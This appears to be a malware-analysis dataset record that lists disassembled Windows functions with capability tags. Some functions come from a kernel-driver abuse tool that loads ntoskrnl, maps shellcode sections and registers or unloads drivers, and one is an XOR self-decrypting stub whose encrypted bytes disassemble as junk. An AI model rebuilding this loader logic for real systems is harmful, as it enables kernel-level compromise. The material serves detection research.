joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100002454
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rdi
mov qword [rsp + 0x18], r12
push r13
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
xor r12d, r12d
xor eax, eax
lock cmpxchg qword [0x100004758], rdi
je 0x1000024a2
cmp rax, rdi
jne 0x100002495
mov edi, 1
mov r12d, edi
jmp 0x1000024a7
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100002479
mov edi, 1
mov eax, dword [0x100004750]
cmp eax, edi
jne 0x1000024bd
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x10000251a
mov eax, dword [0x100004750]
test eax, eax
jne 0x100002514
mov dword [0x100004750], edi
lea r13, [0x100001290]
lea rsi, [0x100001278]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
cmp rsi, r13
jae 0x100002506
test eax, eax
jne 0x100002506
mov rcx, qword [rsi]
test rcx, rcx
je 0x1000024fb
call rcx
mov dword [rsp + 0x20], eax
add rsi, 8
mov qword [rsp + 0x28], rsi
jmp 0x1000024e4
test eax, eax
je 0x10000251a
mov eax, 0xff
jmp 0x1000025ec
mov dword [0x100004184], edi
mov eax, dword [0x100004750]
cmp eax, edi
jne 0x100002541
lea rdx, [0x100001270]
lea rcx, [0x100001260]
call sub.msvcrt.dll__initterm
mov dword [0x100004750], 2
test r12d, r12d
jne 0x10000254f
xor eax, eax
xchg qword [0x100004758], rax
cmp qword [0x100004760], 0
je 0x100002578
lea rcx, [0x100004760]
call fcn.10000284c
test eax, eax
je 0x100002578
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x100004760]
mov r8, qword [0x100004168]
mov rdx, qword [0x100004170]
mov ecx, dword [0x100004160]
call fcn.100001b54
mov dword [0x100004180], eax
cmp dword [0x100004164], 0
jne 0x1000025a8
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x100004184], 0
jne 0x1000025bd
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x100004180]
jmp 0x1000025ec
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
add rsp, 0x30
pop r13
ret
sub rsp, 0x28
call fcn.100174000
add rsp, 0x28
jmp 0x100002454
Function at 0x100002710
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x100004110]
jne 0x10000272b
rol rcx, 0x10
test cx, 0xffff
jne 0x100002727
ret 0
ror rcx, 0x10
jmp 0x100002a1c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x100004240]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x100004338]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x100002aa1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x100004240]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x100002ac3
mov rax, qword [rsp + 0x88]
mov qword [0x100004338], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1000042d8], rax
mov rax, qword [0x100004338]
mov qword [0x1000041b0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1000042c0], rax
mov dword [0x1000041a0], 0xc0000409
mov dword [0x1000041a4], 1
mov rax, qword [0x100004110]
mov qword [rsp + 0x68], rax
mov rax, qword [0x100004118]
mov qword [rsp + 0x70], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1000012c0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x1000028b8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x100002905
cmp rcx, 0xffffffffffffffff
je 0x100002905
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1000028fd
cmp dword [rcx + 0x3c], edx
jl 0x1000028fd
cmp dword [rcx + 0x3c], 0x10000000
jae 0x1000028fd
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x100002905
mov rax, rdx
add rsp, 0x18
ret
Function at 0x14105a3fc
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14105a406
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x14105a42f
pop rbp
sub rbp, 0x33
sub rbp, 0x105a3fc
sub rsp, 0x20
jmp 0x14105a44e
mov rax, 0x105a3fc
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffb355ef21
xor byte [rax], dl
inc rax
dec rcx
jne 0x14105a46d
jmp 0x14105a484
imul ebp, dword [rax + 0x1da8aac8], 0x69212121
movabs al, byte [0xc8206921212029e0]
imul esp, esi, 0x212126e1
and dword [rcx - 0x1a], ebp
jrcxz 0x14105a4ab
and dword [rcx], esp
and dword [rcx - 0x2a], ebp
ret
stosb byte [rdi], al
movabs al, byte [0x71c920692121212d]
jno 0x14105a520
cdq
add dword [rdi + 0xf], ebp
and dword [rcx], esp
and dword [rcx], esp
and dword [rcx - 0x68], ebp
sti
je 0x14105a4bb
and dword [rcx], esp
and dword [rcx], esp
and dword [rcx + 0x20], ebp
enter 0xffffffffffff9b69, 0xffffffffffffffb5
fnsave dword [rdi + 0x21212116]
and ecx, ecx
and al, 0x21
and dword [rcx], esp
enter 0x2137, 0x21
and eax, esp
leave
and edx, dword [rax]
xor byte [rcx - 0x60], ch
loopne 0x14105a50f
and dword [rcx], esp
and dword [rcx - 0x22], ebp
jmp 0x11fd54922
imul esp, dword [rax], 0x2124c9c8
and dword [rcx], esp
enter 0x23ac, 0x21
and dword [rbx - 0x37], esi
pop rsp
and dword [rcx], esp
and dword [rbx + 0x76], edi
and dword [rcx], esp
jnp 0x14105a59a
imul ebp, dword [rax - 0x17ef960a], 0xa2f31069
leave
and al, 0x69
fsubp st(1)
movsd dword [rdi], dword cs:[rsi]
and dword [r9], r12d
movabs byte [0x45a52ee9de6924c9], al
and dword [rcx], esp
and dword [rsi], ebp
test eax, 0x2121217f
stosb byte [rdi], al
cmp eax, 0xc9daa118
movsd dword [rdi], dword cs:[rsi]
cmp eax, 0xa1212121
fcmove st(0), st(0)
movsd dword [rdi], dword cs:[rsi]
xor ah, byte [rcx]
and dword [rcx], esp
movabs al, byte [0x21213ea52e04deda]
and dword [rcx - 0x22], ebp
loopne 0x14105a52c
jmp 0x149e48447
invalid
Function at 0x140001d00
Capabilities:
Map section object

Disassembly:
push rbx
sub rsp, 0x50
mov rbx, rcx
mov r10, rdx
xor ecx, ecx
mov qword [rsp + 0x60], rcx
mov r8d, dword [rbx + 8]
sub r8d, 1
je 0x140001d21
sub r8d, 1
mov dword [rsp + 0x48], 4
lea rax, [rsp + 0x70]
mov dword [rsp + 0x40], ecx
lea r8, [rsp + 0x60]
mov dword [rsp + 0x38], 2
xor r9d, r9d
mov qword [rsp + 0x30], rax
mov rdx, 0xffffffffffffffff
mov qword [rsp + 0x28], rcx
mov rcx, r10
mov qword [rsp + 0x70], 0x1000
mov qword [rsp + 0x20], 0x1000
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
js 0x140001dcd
mov ecx, dword [rbx + 8]
sub ecx, 1
je 0x140001d9b
cmp ecx, 1
jne 0x140001d9b
mov r8, qword [rsp + 0x60]
lea rdx, str.___Shellcode_result__system_worker:_0x_p_r_n
mov ecx, 2
mov r8, qword [r8 + 0x10]
call fcn.140012590
jmp 0x140001db5
mov r8, qword [rsp + 0x60]
lea rdx, str.___Shellcode_result:_NTSTATUS__0x_lX__r_n
mov ecx, 2
mov r8d, dword [r8 + 8]
call fcn.140012590
mov rdx, qword [rsp + 0x60]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
add rsp, 0x50
pop rbx
ret
mov r8d, eax
lea rdx, str.____Cannot_map_shellcode_section__NTSTATUS___lX__r_n
mov ecx, 1
call fcn.140012590
add rsp, 0x50
pop rbx
ret
Function at 0x1400025b0
Capabilities:
Get windows directory from kuser_shared_data

Disassembly:
mov rax, rsp
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x470
mov rdi, qword [rcx + 0x18]
xor r14d, r14d
mov dword [rax + 8], r14d
mov rsi, r8
mov qword [rsp + 0x40], r14
mov rbp, rdx
mov qword [rax + 0x20], r14
mov rbx, rcx
mov qword [rax + 0x18], r14
mov qword [r8], r14
test rdi, rdi
jne 0x1400025ff
lea rdx, str.____Cannot_query_ntoskrnl_loaded_base__abort_r_n
mov ecx, 1
call fcn.140012590
jmp 0x140002777
mov rdx, rdi
lea rcx, str.___Loaded_ntoskrnl_base_0x_llX_r_n
call fcn.140001980
mov edx, 0x7ffe0030
lea rcx, [rsp + 0x60]
call fcn.140022ae0
lea rdx, str._system32_ntoskrnl.exe
lea rcx, [rsp + 0x60]
call fcn.140022b20
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x48]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea r9, [rsp + 0x4b0]
xor edx, edx
lea r8, [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_LdrLoadDll]
test eax, eax
js 0x140002769
mov rdx, qword [rsp + 0x4b0]
test rdx, rdx
je 0x140002769
lea rcx, str.___Ntoskrnl.exe_mapped_at_0x_llX_r_n
call fcn.140001980
mov rax, qword [rsp + 0x4b0]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x28], rdi
lea rdx, [rsp + 0x4b8]
mov r9, rbp
mov qword [rbx + 0x20], rax
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140001df0
test eax, eax
jne 0x1400026c2
lea rdx, str.____Error_while_mapping_payload__abort_r_n
mov ecx, 1
call fcn.140012590
jmp 0x140002777
mov rdx, qword [rsp + 0x4b8]
lea rax, [rsp + 0x4a0]
mov r9, qword [rsp + 0x4b0]
mov r8, qword [rsp + 0x40]
mov ecx, dword [rbx + 8]
mov qword [rsp + 0x30], rax
mov eax, dword [rbx + 0xc]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov qword [rsi], rdx
call fcn.140010b10
mov rbx, rax
test rax, rax
je 0x14000277a
mov edx, dword [rsp + 0x4a0]
test edx, edx
jne 0x14000274c
lea rdx, str.____Unexpected_shellcode_procedure_size__abort_r_n
mov ecx, 1
call fcn.140012590
mov edx, 0x800
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualUnlock]
test eax, eax
je 0x140002777
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x140002777
lea rcx, str.___Bootstrap_code_size__0x_lX_r_n
call fcn.140001980
mov rax, rbx
add rsp, 0x470
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov edx, eax
lea rcx, str.____Error_while_loading_ntoskrnl.exe
call fcn.1400133e0
mov rax, r14
add rsp, 0x470
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400072d0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
push rdi
sub rsp, 0x70
mov dword [rsp + 0x48], 0x10
lea rax, [r11 - 0x28]
mov qword [r11 - 0x38], rax
mov edi, r9d
lea rax, [r11 - 0x28]
mov dword [rsp + 0x38], 0x10
mov qword [r11 - 0x48], rax
mov rsi, r8
mov qword [r11 - 0x28], rdx
lea rax, [r11 - 0x18]
mov dword [rsp + 0x58], r9d
xor r8d, r8d
mov dword [rsp + 0x28], 0x22e400
xor r9d, r9d
xor edx, edx
mov qword [r11 - 0x58], rax
mov rbx, rcx
mov dword [r11 + 0x20], 0
call qword [sym.imp.ntdll.dll_NtDeviceIoControlFile]
cmp eax, 0x103
jne 0x14000734d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
test eax, eax
jns 0x140007375
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [rsp + 0xa0], 0
lea r9, [rsp + 0x98]
mov qword [rsp + 0x20], 0
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
je 0x1400073c2
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_ReadFile]
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x14000e2b0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
mov rsi, rcx
mov dword [rbp + 0x6f], 0
lea rcx, [rbp - 0x59]
mov word [rbp + 0x73], 0x500
mov r8b, 2
mov dword [rbp - 0x69], 0x101
lea rdx, [rbp + 0x6f]
mov qword [rbp - 0x65], 0x1000000
call qword [sym.imp.ntdll.dll_RtlInitializeSid]
xor edx, edx
lea rcx, [rbp - 0x59]
call qword [sym.imp.ntdll.dll_RtlSubAuthoritySid]
mov edx, 1
lea rcx, [rbp - 0x59]
mov dword [rax], 0x20
call qword [sym.imp.ntdll.dll_RtlSubAuthoritySid]
lea rcx, [rbp - 0x59]
mov dword [rax], 0x220
call qword [sym.imp.ntdll.dll_RtlLengthSid]
lea rcx, [rbp - 0x69]
mov r14d, eax
call qword [sym.imp.ntdll.dll_RtlLengthSid]
add eax, 0x48
mov edx, 8
add r14d, eax
mov rax, qword gs:[0x30]
mov r8d, r14d
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x14000e3cb
mov edx, 1
mov rcx, rax
call qword [sym.imp.ntdll.dll_RtlCreateSecurityDescriptor]
lea edx, [r14 - 0x28]
mov r8d, 2
lea rcx, [rbx + 0x28]
call qword [sym.imp.ntdll.dll_RtlCreateAcl]
lea r9, [rbp - 0x59]
mov edx, 2
mov r8d, 0x1f0001
lea rcx, [rbx + 0x28]
call qword [sym.imp.ntdll.dll_RtlAddAccessAllowedAce]
lea r9, [rbp - 0x69]
mov edx, 2
mov r8d, 1
lea rcx, [rbx + 0x28]
call qword [sym.imp.ntdll.dll_RtlAddAccessAllowedAce]
xor r9d, r9d
lea r8, [rbx + 0x28]
mov dl, 1
mov rcx, rbx
call qword [sym.imp.ntdll.dll_RtlSetDaclSecurityDescriptor]
lea rdx, str.KduPort
lea rcx, [rbp - 0x19]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
xor ecx, ecx
mov dword [rbp - 0x49], 0x30
mov qword [rbp - 0x41], rcx
lea rax, [rbp - 0x19]
mov qword [rbp - 0x21], rcx
lea rdi, [rbp - 9]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 9]
xor eax, eax
mov dword [rbp - 0x31], 0x40
mov ecx, 0x48
mov qword [rbp - 0x29], rbx
rep stosb byte [rdi], al
mov rcx, rsi
mov qword [rbp + 7], 0xa8
lea rdx, [rbp - 0x49]
call qword [sym.imp.ntdll.dll_NtAlpcCreatePort]
mov edi, eax
test rbx, rbx
je 0x14000e44b
mov rcx, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, edi
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x14000e710
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x20], r9
push rbx
sub rsp, 0x30
mov dword [rsp + 0x58], 0
mov edx, 8
mov rax, qword gs:[0x30]
mov r8d, 0x30
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x14000e7c0
mov rcx, qword [rsp + 0x60]
lea rax, [0x140013570]
mov qword [rbx], rax
lea r8, [0x14000e470]
lea rax, [0x140013550]
mov qword [rbx + 0x20], rcx
mov qword [rbx + 8], rax
mov r9, rbx
lea rax, [rsp + 0x58]
xor edx, edx
mov qword [rsp + 0x28], rax
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x14000e7a2
mov qword [rbx + 0x28], rax
mov rax, rbx
add rsp, 0x30
pop rbx
ret
mov rcx, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
xor eax, eax
add rsp, 0x30
pop rbx
ret
Function at 0x140011330
Capabilities:
Map section object

Disassembly:
sub rsp, 0x68
xor r11d, r11d
mov eax, r8d
mov r10, rdx
mov qword [rsp + 0x78], r11
and r10, 0xfffffffffffff000
lea r8, [rsp + 0x78]
sub rax, r10
mov qword [rsp + 0x58], r10
add rax, rdx
mov edx, 2
mov qword [rsp + 0x50], rax
test r9d, r9d
mov eax, 4
cmove eax, edx
xor r9d, r9d
mov dword [rsp + 0x48], eax
lea rax, [rsp + 0x50]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x38], edx
mov rdx, 0xffffffffffffffff
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r11
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
jns 0x1400113bf
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
add rsp, 0x68
ret
mov rax, qword [rsp + 0x78]
add rsp, 0x68
ret

Function at 0x140011a70
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov qword [rsp + 8], rcx
push rsi
sub rsp, 0x260
mov rcx, 0xffffffff80000002
mov rsi, rdx
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
je 0x140011c03
lea rax, [rsp + 0x280]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140011ad3
cmp eax, 2
je 0x140011c03
xor eax, eax
add rsp, 0x260
pop rsi
ret
mov qword [rsp + 0x258], rbx
mov rcx, rsi
mov qword [rsp + 0x250], rdi
call fcn.1400255c0
xor ebx, ebx
mov rdi, rax
cmp word [rax - 2], 0x5c
je 0x140011b03
add rdi, 2
mov word [rax], 0x5c
mov word [rdi], bx
mov rcx, qword [rsp + 0x280]
lea rax, [rsp + 0x288]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x270]
mov qword [rsp + 0x30], rbx
lea r8, [rsp + 0x40]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x270], 0x104
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140011bc1
nop dword [rax + rax]
mov r9d, 0x104
lea r8, [rsp + 0x40]
mov edx, r9d
mov rcx, rdi
call fcn.1400248e0
mov rdx, rsi
mov rcx, 0xffffffff80000002
call fcn.140011a70
test eax, eax
je 0x140011bc1
mov rcx, qword [rsp + 0x280]
lea rax, [rsp + 0x288]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x270]
mov qword [rsp + 0x30], rbx
lea r8, [rsp + 0x40]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x270], 0x104
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140011b50
mov word [rdi - 2], bx
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, rsi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rdi, qword [rsp + 0x250]
test eax, eax
sete bl
mov eax, ebx
mov rbx, qword [rsp + 0x258]
add rsp, 0x260
pop rsi
ret
mov eax, 1
add rsp, 0x260
pop rsi
ret
Function at 0x140011c20
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x60
xor esi, esi
mov rbx, rdx
mov qword [rax + 0x18], rsi
mov rdi, rcx
mov qword [rax - 0x10], rsi
mov dword [rax - 0x18], esi
test rcx, rcx
je 0x140011c74
xor r9d, r9d
lea rdx, [rax - 0x18]
xor r8d, r8d
call qword [sym.imp.ntdll.dll_RtlDosPathNameToNtPathName_U]
test al, al
jne 0x140011c74
mov eax, 0xc00000f0
mov rbx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x88]
add rsp, 0x60
pop rdi
ret
mov qword [rsp + 0x40], rsi
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0xf003f
mov rdx, rbx
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x140011cbb
mov ebx, 0xc0000022
jmp 0x140011dcd
mov rcx, qword [rsp + 0x80]
lea rax, [rsp + 0x70]
mov dword [rsp + 0x28], 4
lea rdx, str.ErrorControl
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x70], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
jne 0x140011db4
mov rcx, qword [rsp + 0x80]
lea rax, [rsp + 0x70]
mov dword [rsp + 0x28], 4
lea rdx, str.Type
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x70], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
jne 0x140011db4
mov rcx, qword [rsp + 0x80]
lea rax, [rsp + 0x70]
mov dword [rsp + 0x28], 4
lea rdx, str.Start
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x70], 3
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
jne 0x140011db4
test rdi, rdi
je 0x140011db4
movzx eax, word [rsp + 0x50]
lea rdx, str.ImagePath
mov rcx, qword [rsp + 0x80]
add eax, 2
mov dword [rsp + 0x28], eax
mov r9d, 2
mov rax, qword [rsp + 0x58]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
neg ebx
mov ebx, 0xc0000022
sbb ecx, ecx
and ebx, ecx
test rdi, rdi
je 0x140011de4
cmp qword [rsp + 0x58], rsi
je 0x140011de4
lea rcx, [rsp + 0x50]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
mov rsi, qword [rsp + 0x88]
mov eax, ebx
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x140011e00
Capabilities:
Unload driver

Disassembly:
push rdi
sub rsp, 0x660
mov rdx, rcx
lea rdi, [rsp + 0x40]
xor eax, eax
mov qword [rsp + 0x20], rdx
mov ecx, 0x20a
lea r9, str.RegistryMachine
rep stosb byte [rdi], al
lea rcx, [rsp + 0x40]
mov edx, 0x104
lea r8, str._wSSystemCurrentControlSetServices_wS
call fcn.140001c40
test eax, eax
jns 0x140011e4e
mov eax, 0xc00000ef
add rsp, 0x660
pop rdi
ret
lea rdx, [rsp + 0x64]
xor ecx, ecx
call fcn.140011c20
test eax, eax
js 0x140011ecc
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x670], rbx
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
mov ebx, eax
test eax, eax
js 0x140011ec2
xor eax, eax
lea rdi, [rsp + 0x250]
mov ecx, 0x410
lea r8, [rsp + 0x64]
rep stosb byte [rdi], al
lea rcx, [rsp + 0x250]
mov r9d, 0x104
mov edx, 0x208
call fcn.1400248e0
lea rdx, [rsp + 0x250]
call fcn.140011a70
mov eax, ebx
mov rbx, qword [rsp + 0x670]
add rsp, 0x660
pop rdi
ret
Function at 0x1400121b0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov r15, rcx
mov qword [rcx], 0
mov dword [rsp + 0x60], 0
lea rdi, [rsp + 0x20]
mov word [rsp + 0x64], 0x500
xor eax, eax
mov r14, rdx
mov qword [rdx], 0
mov ecx, 0x18
mov edx, 8
rep stosb byte [rdi], al
mov rax, qword gs:[0x30]
mov r8d, 0x28
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rsi, rax
test rax, rax
jne 0x140012228
mov edi, 0xc000009a
jmp 0x140012388
mov ecx, 1
call qword [sym.imp.ntdll.dll_RtlLengthRequiredSid]
mov ecx, 2
mov edi, eax
call qword [sym.imp.ntdll.dll_RtlLengthRequiredSid]
add eax, 0x18
mov edx, 8
add edi, eax
mov rax, qword gs:[0x30]
mov r8d, edi
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
jne 0x140012276
mov edi, 0xc000009a
jmp 0x14001236c
mov r8d, 2
mov edx, edi
mov rcx, rbx
call qword [sym.imp.ntdll.dll_RtlCreateAcl]
mov edi, eax
test eax, eax
js 0x140012350
mov r8b, 1
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll_RtlInitializeSid]
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll_RtlSubAuthoritySid]
lea r9, [rsp + 0x20]
mov edx, 2
mov r8d, 0x10000000
mov rcx, rbx
mov dword [rax], 0x12
call qword [sym.imp.ntdll.dll_RtlAddAccessAllowedAce]
mov r8b, 2
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll_RtlInitializeSid]
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll_RtlSubAuthoritySid]
mov edx, 1
lea rcx, [rsp + 0x20]
mov dword [rax], 0x20
call qword [sym.imp.ntdll.dll_RtlSubAuthoritySid]
lea r9, [rsp + 0x20]
mov edx, 2
mov r8d, 0x10000000
mov rcx, rbx
mov dword [rax], 0x220
call qword [sym.imp.ntdll.dll_RtlAddAccessAllowedAce]
mov edx, 1
mov rcx, rsi
call qword [sym.imp.ntdll.dll_RtlCreateSecurityDescriptor]
mov edi, eax
test eax, eax
js 0x140012350
xor r9d, r9d
mov r8, rbx
mov dl, 1
mov rcx, rsi
call qword [sym.imp.ntdll.dll_RtlSetDaclSecurityDescriptor]
mov edi, eax
test eax, eax
jns 0x14001238c
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rax, qword gs:[0x30]
mov r8, rsi
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
xor ebx, ebx
xor esi, esi
mov qword [r15], rsi
mov eax, edi
mov qword [r14], rbx
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret